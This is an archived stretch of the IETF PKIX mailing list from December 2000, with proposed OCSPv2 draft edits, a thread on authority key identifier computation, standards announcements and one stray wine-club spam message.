>    Correspondingly, the "invalid" value SHALL be used to indicate that
>    the certificate at a minimum fails to satisfy RFC 2459 path validation
>    rules.  Environments with a need to use these values MAY define service
>    identifiers(i.e. OIDS) that uniquely identify the full set of practices
>    and policies undertaken to confirm a certificate's validity within their
>    environment.  Such practices and policies MAY include an assessment of
>    the certificate's suitability for a given purpose or function in excess
>    of the required compliance to RFC2459 path validation rules.
> 
>    The "valid" and "invalid" values SHALL NOT be returned in a
>    id-pkix-ocsp-basic response.
> 
>    The "suspended" value SHALL be used to indicate that the responder
>    has current information from the CA named in the certificate indicating
>    that the certificate is suspended but not yet permanently revoked.
>    OCSP responders MAY use a well-ordered sequence of "revoked" and
>    "not revoked" responses to achieve the same effect.  The "suspended"
>    value MAY be returned for certificate that has expired as defined below.
> 
>    The "expired" value SHALL be used to indicate that the responder has
>    confirmed on the basis of its (the responder's) time base that the
>    notAfter value in the certificate's Validity field is less than the
>    current time as indicated by the responder's time base. Requirements
>    governing the reliability of a responder's time base is beyond the
>    scope of this specification.
> 
> 2.3  Exception Cases
> --------------------
> CURRENT -01 TEXT
>    -- malformedRequest
>    -- internalError
>    -- tryLater
>    -- sigRequired
>    -- unauthorized
>    -- noMoreData
> 
> PROPOSED -02 TEXT
>    -- malformedRequest
>    -- internalError
>    -- tryLater
>    -- sigRequired
>    -- unauthorized
>    -- noMoreData
>    -- unsupportedOption
>    -- unrecognizedIdentifier
> 
>    "unsupportedOption" indicates that the responder recognizes
>    the syntax of the request but does not support or is not being
>    operated to support one or more service options specified in
>    the request.  If the request is v1, the responder SHALL return
>    "malformedRequest" rather than "unsupportedOption".
> 
>    "unrecognizedIdentifier" indicates that the responder cannot
>    identify the certificate using the certificate identifier supplied
>    in the request.  If the request is v1, the responder SHALL return
>    "malformedRequest" rather than "unrecognizedIdentifier".
> 
> CURRENT -01 TEXT
>    A server produces the "malformedRequest" response if the request
>    received does not conform to the OCSP syntax.
>                                     ^^^^
> 
> PROPOSED -02 TEXT
>    A server produces the "malformedRequest" response if the request
>    received does not conform to the required syntax.
>                                     ^^^^^^^^
> 
> 2.5  Response Pre-production
> CURRENT -01 TEXT
>    The time at or before which newer information will be available
>    is reflected in the nextUpdate field, while the time at which
>    ^^^^^^^^^^^^
>    the response was produced will appear in the producedAt field
>                              ^^^^
>    of the response.
> 
> PROPOSED -02 TEXT
>    The time at or before which newer information will be available
>    SHALL appear in the nextUpdate field, while the time at which
>    ^^^^^^^^^^^^
>    the response was produced SHALL appear in the producedAt field
>                              ^^^^^
>    of the response.
> 
> 2.6  OCSP Signature Authority Delegation
> ----------------------------------------
> CURRENT -01 TEXT
>    A certificate's issuer explicitly delegates OCSP signing authority
>                           ^^^^^^^^^^         ^
> 
> PROPOSED -02 TEXT
>    A certificate's issuer MAY explicitly delegate OCSP signing authority
>                           ^^^
> 
> 2.8  Use of CRLs  (new section)
> PROPOSED -02 TEXT
> 
>    An id-pkix-ocsp-basic response MAY be produced using a data source other
>    than CRLs.  Environments providing both id-pkix-ocsp-basic service and
>    CRL maintenance service SHOULD ensure that both are synchronized with
>    respect to the values of "revoked" and "not revoked" for certificates
>    that are simultaneously subject to both services.  Such environments
>    MAY exclude from the corresponding CRL certificates for which the value
>    of "suspended" would be returned in their id-pkix-ocsp-basic service.
> 
>    [Notes to reviewers of this new section.  The essential issues are these:
> 
>       1. OCSP does not now nor ever has *required* the use of CRLs although
>          the practice is known to be useful in some environments.  This
>          clearly needs to be better spelled out since it continues to come
> up.
> 
>       2. Where CRLs *are* relevant, a degree of synchronicity is vital.  A
>          situation where, for example, there exists a "not revoked" OCSP
>          response in the presence of a CRL listing a certificate is clearly
>          a bad thing (or a good thing if you're a lawyer representing a
>          party seeking remedy.)
> 
>       3. Suspension is a PITA with CRLs but easy with OCSP.  Since OCSP
> revocation
>          service isn't intrinsically linked to CRLs, we need to ensure that
> we
>          avoid creating a situation where the only reason to implement
> CRL-based
>          suspension is to deliver "suspended" responses.  If that situation
> were
>          to obtain, it's a sure bet there'd be very few if any "suspended"
>          responses being exchanged across the Internet.  We'd all be back to
>          the revoked/not revoked hack.]


Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28782 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 08:12:28 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <YHQY0QBG>; Tue, 5 Dec 2000 11:14:40 -0500
Message-ID: <8D7EC1912E25D411A32100D0B769539727DF4B@scygmxs01.cygnacom.com>
From: Peter Hesse <pmhesse@cygnacom.com>
To: "'pki_wby_cn'" <pki_wby_cn@sina.com>, ietf-pkix@imc.org
Subject: RE: Who can help me?
Date: Tue, 5 Dec 2000 10:53:59 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05ED3.94BBA610"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05ED3.94BBA610
Content-Type: text/plain;
	charset="gb2312"

The methods you mention are only recommendations:  "Where a key identifier
has not been previously established, this specification recommends use of
one of these methods for generating keyIdentifiers."

The issuer can put anything in their subjectKeyIdentifier as long as it
matches all the authorityKeyIdentifiers that it creates.  You should never
attempt to calculate authorityKeyIdentifiers, only use the values that are
present in the certificates.

--Peter

---------------------------------------------------------------- 
Peter M. Hesse   pmhesse@cygnacom.com   http://www.cygnacom.com
      CygnaCom Solutions, An Entrust Technologies Company
      (703)270-3523(voice) (703)848-0960(fax) ICQ#1942828 
"Pay no attention to what the critics say; there has never been 
a statue set up in honor of a critic." --Jean Sibelius


-----Original Message-----
From: pki_wby_cn [mailto:pki_wby_cn@sina.com]
Sent: Tuesday, December 05, 2000 2:55 AM
To: ietf-pkix@imc.org
Subject: Who can help me?


hello, all:

In rfc2459, there are two methods to calculate authority key identifier:
(1) 160-bit SHA-1 hash of the value of the BIT STRING subjectPublicKey
    (excluding the tag,length,and number of unused bits)
(2) a four bit type field with the value 0100 followed by the least 
    significant 60 bits of SHA-1 hash of the value of the BIT STRING
    subjectPublicKey

Here is the public key of a thawte CA cert
(the attchment contain this public key) :
	3081 8902 8181 00B3 695A 
	97D4 D016 0B7A B5C5 5DE9 
	219C 2372 CD12 4C4B F77E 
	CFC7 FBCA 7224 F442 52AC 
	5795 E37B 617A 1784 E7FD 
	7239 3894 B4EA ED65 A792 
	065E BDE0 65F6 19BB 9479 
	764C 3EB9 6870 7584 1CF4 
	1174 00BC 052C 4F09 0317 
	31CC F441 D472 C6A6 5DE2 
	8844 B08B 2EC4 4DF1 F0D6 
	853E 6CF3 9594 7891 7E40 
	E99C D18D 1557 8EC2 73E5 
	30DE 46F5 4F02 0301 0001

In the user certificate, the authority key identifier is :
	88AB F160 8366 55F4 E458 C746 1DC0 61BD 23D7 C38C

I calculate according the first method, but got the result:
	4B7E E315 BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Please tell me why I cannot got the correct result ????????
______________________________________


------_=_NextPart_001_01C05ED3.94BBA610
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dgb2312">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Who can help me?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>The methods you mention are only =
recommendations:&nbsp; &quot;Where a key identifier has not been =
previously established, this specification recommends use of one of =
these methods for generating keyIdentifiers.&quot;</FONT></P>

<P><FONT SIZE=3D2>The issuer can put anything in their =
subjectKeyIdentifier as long as it matches all the =
authorityKeyIdentifiers that it creates.&nbsp; You should never attempt =
to calculate authorityKeyIdentifiers, only use the values that are =
present in the certificates.</FONT></P>

<P><FONT SIZE=3D2>--Peter</FONT>
</P>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
- </FONT>
<BR><FONT SIZE=3D2>Peter M. Hesse&nbsp;&nbsp; =
pmhesse@cygnacom.com&nbsp;&nbsp; <A HREF=3D"http://www.cygnacom.com" =
TARGET=3D"_blank">http://www.cygnacom.com</A></FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CygnaCom Solutions, =
An Entrust Technologies Company</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (703)270-3523(voice) =
(703)848-0960(fax) ICQ#1942828 </FONT>
<BR><FONT SIZE=3D2>&quot;Pay no attention to what the critics say; =
there has never been </FONT>
<BR><FONT SIZE=3D2>a statue set up in honor of a critic.&quot; --Jean =
Sibelius</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: pki_wby_cn [<A =
HREF=3D"mailto:pki_wby_cn@sina.com">mailto:pki_wby_cn@sina.com</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, December 05, 2000 2:55 AM</FONT>
<BR><FONT SIZE=3D2>To: ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: Who can help me?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>hello, all:</FONT>
</P>

<P><FONT SIZE=3D2>In rfc2459, there are two methods to calculate =
authority key identifier:</FONT>
<BR><FONT SIZE=3D2>(1) 160-bit SHA-1 hash of the value of the BIT =
STRING subjectPublicKey</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; (excluding the tag,length,and =
number of unused bits)</FONT>
<BR><FONT SIZE=3D2>(2) a four bit type field with the value 0100 =
followed by the least </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; significant 60 bits of SHA-1 hash =
of the value of the BIT STRING</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; subjectPublicKey</FONT>
</P>

<P><FONT SIZE=3D2>Here is the public key of a thawte CA cert</FONT>
<BR><FONT SIZE=3D2>(the attchment contain this public key) :</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>3081 8902 =
8181 00B3 695A </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>97D4 D016 =
0B7A B5C5 5DE9 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>219C 2372 =
CD12 4C4B F77E </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>CFC7 FBCA =
7224 F442 52AC </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>5795 E37B =
617A 1784 E7FD </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>7239 3894 =
B4EA ED65 A792 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>065E BDE0 =
65F6 19BB 9479 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>764C 3EB9 =
6870 7584 1CF4 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>1174 00BC =
052C 4F09 0317 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>31CC F441 =
D472 C6A6 5DE2 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>8844 B08B =
2EC4 4DF1 F0D6 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>853E 6CF3 =
9594 7891 7E40 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>E99C D18D =
1557 8EC2 73E5 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>30DE 46F5 =
4F02 0301 0001</FONT>
</P>

<P><FONT SIZE=3D2>In the user certificate, the authority key identifier =
is :</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>88AB F160 =
8366 55F4 E458 C746 1DC0 61BD 23D7 C38C</FONT>
</P>

<P><FONT SIZE=3D2>I calculate according the first method, but got the =
result:</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>4B7E E315 =
BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</FONT>
</P>

<P><FONT SIZE=3D2>Please tell me why I cannot got the correct result =
????????</FONT>
<BR><FONT SIZE=3D2>______________________________________</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C05ED3.94BBA610--


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25825 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 07:47:00 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz (pgut001@kahu.cs.auckland.ac.nz [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id EAA21967; Wed, 6 Dec 2000 04:48:45 +1300 (NZDT) (sender pgut001@cs.auckland.ac.nz)
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <97603133708646>; Wed, 6 Dec 2000 04:48:57 (NZDT)
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: ietf-pkix@imc.org, pki_wby_cn@sina.com
Subject: Re:  Who can help me?
Sender: pgut001@cs.auckland.ac.nz
Reply-To: pgut001@cs.auckland.ac.nz
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Wed, 6 Dec 2000 04:48:57 (NZDT)
Message-ID: <97603133708646@kahu.cs.auckland.ac.nz>

pki_wby_cn <pki_wby_cn@sina.com> writes:

>Please tell me why I cannot got the correct result ????????

This question should be in some sort of FAQ since it comes up every month or
so, it should also be added to son-of-2459... here's the reply I posted the
last time it came up:

-- Snip --

The keyIdentifier is supposed to be an explicit value, not something which is
implicitly generated according to some particular formula.  That is, you get
the key ID by reading out of the extension whatever value is present there, not
by hashing something and taking that as the key ID.

(I don't know what range of certs you've worked with, but eventually you're
 going to run into key ID's which contain 32-bit values, 64 bit values which
 don't follow RFC 2459, ASCII strings, and who knows what else, so assuming you
 can implicitly create them will lead to problems).

-- Snip --

Peter.



Received: from berit.xware.se (xware.se [195.43.225.34]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA17125 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 02:05:38 -0800 (PST)
Received: from matsburk.xware.se by berit.xware.se (8.8.0/8.8.0) with ESMTP id LAA25427 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 11:08:37 +0100
Message-Id: <4.3.2.7.2.20001205110115.00bb56e0@berit.xware.se>
X-Sender: mats@berit.xware.se
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 05 Dec 2000 11:05:34 +0100
To: PKIX-List <ietf-pkix@imc.org>
From: Mats Nilsson <mats.nilsson@xware.se>
Subject: Comments on draft-ietf-pkix-new-part1-03
In-Reply-To: <E7B6CB80230AD31185AD0008C7EBC4D26663D1@exrsa01.rsa.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi.

At the very top of page 79, close to the end of section 6.3.3 "CRL 
Processing", there is an incomplete fragment of a sentence: "If the".

Regards

Mats Nilsson



Received: from sina.com ([202.106.187.167]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA28748 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 23:53:05 -0800 (PST)
Received: (qmail 22377 invoked by uid 99); 5 Dec 2000 07:55:11 -0000
Message-ID: <20001205075511.22376.qmail@sina.com>
From: pki_wby_cn <pki_wby_cn@sina.com>
To: ietf-pkix@imc.org
Subject: Who can help me?
Date: Tue Dec  5 07:55:10 2000
X-Mailer: SinaMail 3.0Beta (FireToad)
X-Priority: 3
Content-Type: multipart/mixed; boundary="----------97600291022223SINAEMAIL---"

This is a multi-part message in MIME format.

------------97600291022223SINAEMAIL---
Content-Disposition: inline
Content-Transfer-Encoding: binary
Content-Type: text/plain;charset="gb2312"

hello, all:

In rfc2459, there are two methods to calculate authority key identifier:
(1) 160-bit SHA-1 hash of the value of the BIT STRING subjectPublicKey
    (excluding the tag,length,and number of unused bits)
(2) a four bit type field with the value 0100 followed by the least 
    significant 60 bits of SHA-1 hash of the value of the BIT STRING
    subjectPublicKey

Here is the public key of a thawte CA cert
(the attchment contain this public key) :
	3081 8902 8181 00B3 695A 
	97D4 D016 0B7A B5C5 5DE9 
	219C 2372 CD12 4C4B F77E 
	CFC7 FBCA 7224 F442 52AC 
	5795 E37B 617A 1784 E7FD 
	7239 3894 B4EA ED65 A792 
	065E BDE0 65F6 19BB 9479 
	764C 3EB9 6870 7584 1CF4 
	1174 00BC 052C 4F09 0317 
	31CC F441 D472 C6A6 5DE2 
	8844 B08B 2EC4 4DF1 F0D6 
	853E 6CF3 9594 7891 7E40 
	E99C D18D 1557 8EC2 73E5 
	30DE 46F5 4F02 0301 0001

In the user certificate, the authority key identifier is :
	88AB F160 8366 55F4 E458 C746 1DC0 61BD 23D7 C38C

I calculate according the first method, but got the result:
	4B7E E315 BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Please tell me why I cannot got the correct result ????????
______________________________________


------------97600291022223SINAEMAIL---
Content-Disposition: inline;filename="pubkey.der"
Content-Transfer-Encoding: base64
Content-Type: application/x-msdownload; name="pubkey.der"

MIGJAoGBALNpWpfU0BYLerXFXekhnCNyzRJMS/d+z8f7ynIk9EJSrFeV43theheE5/1yOTiUtOrtZaeSBl694GX2GbuUeXZMPrlocHWEHPQRdAC8BSxPCQMXMcz0QdRyxqZd4ohEsIsuxE3x8NaFPmzzlZR4kX5A6ZzRjRVXjsJz5TDeRvVPAgMBAAE=

------------97600291022223SINAEMAIL-----
===================================================================
ÐÂÀËÃâ·Ñµç×ÓÓÊÏä http://mail.sina.com.cn
ÐÂÀËÍÆ³ö°ÂÔË¶ÌÐÅÏ¢ÊÖ»úµã²¥·þÎñ 
http://sms.sina.com.cn/


Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA17335 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 22:01:02 -0800 (PST)
Received: from [38.29.124.117] (ip117.phoenix12.az.pub-ip.psi.net [38.29.124.117]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id BAA15439; Tue, 5 Dec 2000 01:01:57 -0500 (EST)
Mime-Version: 1.0
X-Sender: hoytkesterson@mail.earthlink.net
Message-Id: <a05001900b6522f68b2c2@[38.29.122.174]>
Date: Mon, 4 Dec 2000 22:59:34 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <hoytkesterson@earthlink.net>
Subject: New work begining on X.509
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hello all

With the upcoming publication of the 4th edition of X.509, the 
directory group has begun preparing for the fifth edition. That 
edition will include the fixes for defects resolved over the next few 
years as well as needed enhancements. A working document (WD) was 
prepared at our recent meeting in November in Orlando.

We are seeking comments on, and contributions to, the next revision 
of this WD. Our next meeting is in Geneva 29 January through 
Groundhog Day (2 February - where we hope not to repeat Bill Murray's 
experiences) 2001.

Sharon Boeyen of Canada is continuing as editor with Hirosato Tsuji 
of Japan responsible for some portions of the document

The WD in Office 98 and PDF formats can be found at

ftp://ftp.bull.com/pub/OSIdirectory/Orlando2000Output/X.509EnhancementsWD.doc

ftp://ftp.bull.com/pub/OSIdirectory/Orlando2000Output/X.509EnhancementsWD.pdf

    hoyt


Received: from mail.winealley.com (IDENT:qmailr@mail.winealley.com [194.3.190.130]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA02965 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 15:16:20 -0800 (PST)
From: francois.xavier.bodin@winealley.com
Message-Id: <200012042316.PAA02965@ns.secondary.com>
Received: (qmail 30657 invoked from network); 4 Dec 2000 23:18:17 -0000
Received: from mail.winealley.com (HELO localhost) (chins@194.3.190.130) by mail.winealley.com with SMTP; 4 Dec 2000 23:18:17 -0000
Subject: Meet us on Wine Alley
Content-type: text/plain; charset="iso-8859-1"
Mime-version: 1.0
To: ietf-pkix@imc.org
Date: Tue, 5 Dec 2000 00:18 +0100
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA02966

Hello!

I found your address on a site about wine, food and good living. I thought that you will be interested by the services that our site offers.

www.wine-alley.com is a virtual Club for all those interested in wine in both a professional and personal capacity.

We now have more than 3900 members, both amateur and in the trade who use our site to discuss wine, buy and sell it and tell us about the best sources.

Club members use the Newsgroup of www.wine-alley.com to exchange information and experiences.  Only the other day someone asked how much a certain rare wine was worth, I asked for more information about the grape variety, which doesn't grow in France. Currently there have been more than 711 questions and replies.

There is also the small ads. column.

Among the 6 adverts placed this week there have been some really good deals including a magnum of 1945 Pichon Lalande and a 1947 Cheval blanc!

Let me make it clear - www.wine-alley.com itself does not sell or buy wine: we simply offer our members the facilites for making their own arrangements.

www.wine-alley.com is also a site supplying information in real time, particularly the latest news from winegrowers and makers via the French Press Agency (AFP).  We also have a database of more than 21,000 wines with information supplied directly to the site by winegrowers co-operatives and specialist magazines.

I should be delighted if you would come and join us.  At www.wine-alley.com you will find similarly-minded people who just want to share their love of wine.

Kind regards

François Xavier Bodin, Manager of the Online Club
fx.bodin@winealley.com



PS.  Registering with the www.wine-alley.com club is absolutely free and commits you to nothing.

If you are not interested in my offer, please excuse this letter; I am sorry to have bothered you.  To prevent further unwanted intrusions please click on the following link, your email will be automatically removed from our list.

http://www.wine-alley.com/wines/desmail.asp?id=291663&l=uk


Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA23763 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 12:51:58 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id MAA16486 for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 12:55:33 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id <YBYX51C1>; Mon, 4 Dec 2000 12:53:55 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F401C5BEC8@vhqpostal.verisign.com>
From: Michael Myers <MMyers@verisign.com>
To: ietf-pkix@imc.org
Subject: Proposed edits to OCSPv2 -01
Date: Mon, 4 Dec 2000 12:53:54 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Denis, all:

Here's a bit of a longish note proposing some edits to
draft-ietf-pkix-ocspv2-01.txt that get us to -02 and last call.

In summary:

1. Change "good" to "not revoked"; add "valid", "invalid",
   "suspended" and "expired" states; add corresponding semantic
   and normative text.

2. Add unsupportedOption and unrecognizedIdentifer to error cases.

3. Add normative text regarding the use of CRLs.

In the case of the "good" vs. "not revoked" revision, the bits on the wire
don't change, nor is there any essential change in semantics.  In effect,
all that's changing is the abstract symbol.  The only hit might be to
environments that are using "good" to mean "valid" in the delegated path
validation sense.  I doubt anyone's doing that, but if you are and this
change hits you, please let us know.  Otherwise, all you're going to have is
some source that uses "good" as a compile-time symbol  while the new
standard says "not revoked" but once the compile is done the corresponding
ASN.1 value [0] doesn't change anyway so interoperability is preserved; nor
are there any fundamental semantic changes.  Also, the new values will go on
the end of the end of the CertStatus choice with tag numbers > [2] so
there's no hit there either for v1 environments.  Same for the new error
conditions, which are only v2-relevant.

One other thing.  Many environments use a sequence of "revoked" and "not
revoked" to achieve a suspension effect.  Those who do so should take care
to read and comment on the new text "2.8 Use of CRLs" located at the end of
this note, especially given the proposal for a unique "suspended" response
value.

With regards to all,

Mike


2.2  Response
-------------
CURRENT -01 TEXT
   OCSP responses can be of various types.  An OCSP response consists of
   a response type and the bytes of the actual response. There is one
   basic type of OCSP response that MUST be supported by all OCSP
   servers and clients. The rest of this section pertains only to this
   basic response type.

PROPOSED -02 TEXT
   OCSP responses can be of various types, corresponding to various
   services.  An OCSP response consists of a response type and the
   bytes of the actual response. This document defines one standard
   response syntax, BasicOCSPResponse, and one standard service,
   id-pkix-ocsp-basic (see Section 4.2.1).

   The BasicOCSPResponse syntax MAY be used for other OCSP services
   not defined in this document.  However, the id-pkix-ocsp-basic
   service identifier SHALL only be used to report on the revocation
   status of a certificate (i.e. "revocation service").

   OCSP servers SHALL be capable of supporting revocation service.
   Environments that deploy OCSP for services other than revocation
   service are NOT required to activate the revocation service feature
   of their OCSP servers.


CURRENT -01 TEXT
   A basic response message is composed of:

PROPOSED -02 TEXT
   The BasicOCSPResponse syntax is composed of:


CURRENT -01 TEXT
   This specification defines the following definitive response
   indicators for use in the certificate status value:

   -- good
   -- revoked
   -- unknown

   The "good" state indicates a positive response to the status inquiry.
   When used in in a basic response, this positive response value indicates
   that the responder has current revocation information from the CA tha
   issued the certificate and that the certificate is not revoked, but does
   not necessarily mean that the certificate was ever issued or that the
time
   at which the response was produced is within the certificate's validity
   interval. Other response types or response extensions may be used to
convey
   additional information on assertions made by the responder regarding the
   status of the certificate such as positive statement about issuance,
validity, etc.

   The "revoked" state indicates that the certificate has been revoked
   (either permanantly or temporarily (on hold)).

   The "unknown" state indicates that the responder doesn't know about
   the certificate being requested.

PROPOSED -02 TEXT
   This specification defines the following definitive status
   values for use in BasicOCSPResponse:

   -- not revoked
   -- revoked
   -- unknown
   -- valid
   -- invalid
   -- suspended
   -- expired

   The "not revoked" value SHALL be used to indicate that the responder
   has current revocation information from the CA that issued the
   certificate and that that information indicates that the certificate
   is not revoked. The "not revoked" value MAY be returned for a previously
   revoked certificate that has expired as defined below.

   The "revoked" value SHALL be used to indicate that the revocation
   information currently available to the responder identifies the
   certificate as in that state.  The "not revoked" value MAY be returned
   for a previously revoked certificate that has expired as defined below.
   The "revoked" value MAY be returned for a previously-revoked certificate
   whose notAfter validity field has expired as defined below.

   The "unknown" value SHALL be used to indicate that the responder does
   not recognize the certificate as being among those for which it is
   authoritative.  When used in conjunction with id-pkix-ocsp-basic,
   "unknown" SHALL be interpreted as revocation status unknown.

   The "valid" value SHALL be used to indicate that the certificate
   at a minimum satisifes the path validation logic defined in RFC 2459.
   Correspondingly, the "invalid" value SHALL be used to indicate that
   the certificate at a minimum fails to satisfy RFC 2459 path validation
   rules.  Environments with a need to use these values MAY define service
   identifiers(i.e. OIDS) that uniquely identify the full set of practices
   and policies undertaken to confirm a certificate's validity within their
   environment.  Such practices and policies MAY include an assessment of
   the certificate's suitability for a given purpose or function in excess
   of the required compliance to RFC2459 path validation rules.

   The "valid" and "invalid" values SHALL NOT be returned in a
   id-pkix-ocsp-basic response.

   The "suspended" value SHALL be used to indicate that the responder
   has current information from the CA named in the certificate indicating
   that the certificate is suspended but not yet permanently revoked.
   OCSP responders MAY use a well-ordered sequence of "revoked" and
   "not revoked" responses to achieve the same effect.  The "suspended"
   value MAY be returned for certificate that has expired as defined below.

   The "expired" value SHALL be used to indicate that the responder has
   confirmed on the basis of its (the responder's) time base that the
   notAfter value in the certificate's Validity field is less than the
   current time as indicated by the responder's time base. Requirements
   governing the reliability of a responder's time base is beyond the
   scope of this specification.


2.3  Exception Cases
--------------------
CURRENT -01 TEXT
   -- malformedRequest
   -- internalError
   -- tryLater
   -- sigRequired
   -- unauthorized
   -- noMoreData

PROPOSED -02 TEXT
   -- malformedRequest
   -- internalError
   -- tryLater
   -- sigRequired
   -- unauthorized
   -- noMoreData
   -- unsupportedOption
   -- unrecognizedIdentifier

   "unsupportedOption" indicates that the responder recognizes
   the syntax of the request but does not support or is not being
   operated to support one or more service options specified in
   the request.  If the request is v1, the responder SHALL return
   "malformedRequest" rather than "unsupportedOption".

   "unrecognizedIdentifier" indicates that the responder cannot
   identify the certificate using the certificate identifier supplied
   in the request.  If the request is v1, the responder SHALL return
   "malformedRequest" rather than "unrecognizedIdentifier".

CURRENT -01 TEXT
   A server produces the "malformedRequest" response if the request
   received does not conform to the OCSP syntax.
                                    ^^^^

PROPOSED -02 TEXT
   A server produces the "malformedRequest" response if the request
   received does not conform to the required syntax.
                                    ^^^^^^^^


2.5  Response Pre-production
CURRENT -01 TEXT
   The time at or before which newer information will be available
   is reflected in the nextUpdate field, while the time at which
   ^^^^^^^^^^^^
